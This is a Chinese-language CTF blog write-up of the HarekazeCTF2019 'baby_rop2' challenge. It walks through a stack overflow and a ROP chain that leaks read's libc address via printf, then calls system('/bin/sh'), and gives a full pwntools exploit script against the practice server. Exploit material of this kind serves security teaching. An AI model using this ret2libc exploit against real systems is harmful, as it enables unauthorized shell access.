(HarekazeCTF2019)baby_rop2


[HarekazeCTF2019]baby_rop2

检查保护机制,64位,开NX

IDA打开,查看main函数,发现buf大小为0x20,而读入的大小为0x100,存在溢出漏洞

再用shift+F12查找字符串,没有发现system(‘/bin/sh’)。

利用思路:

1.buf大小0x20,读入0x100,溢出漏洞,通过利用漏洞覆盖返回地址为system(‘/bin/sh’)

2.利用read函数,泄露libc基址,然后获取system和/bin/sh字符串的地址

3.最后将一二步合并完成夺权

解题过程

泄露libc基址

因为printf函数中有两个参数要设置,所以就要找到rsi和rdi寄存器

ROPgadget --binary babyrop2 |grep "pop rdi"

ROPgadget --binary babyrop2 |grep "pop rsi"

看见rsi后面跟有r15,我们直接设置为0

payload=b'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)

1.b‘a’*0x28–>造成溢出,覆盖到了返回地址
2.p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
3.p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
4.p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
5.p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('read', read_addr)  #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read')  #计算程序里的偏移量

计算system和(‘/bin/sh’)的地址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'


#p = process('./babyrop2')
p = remote("node3.buuoj.cn",29233)
elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 
format_str = 0x400770  #%s所在字符串
ret_addr = 0x400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = b'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)+p64(0)
p.sendline(payload)
p.interactive()

最后拿flag时,发现flag还没有放在根目录下,需要find -name “flag”去查找,最后cat flag


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录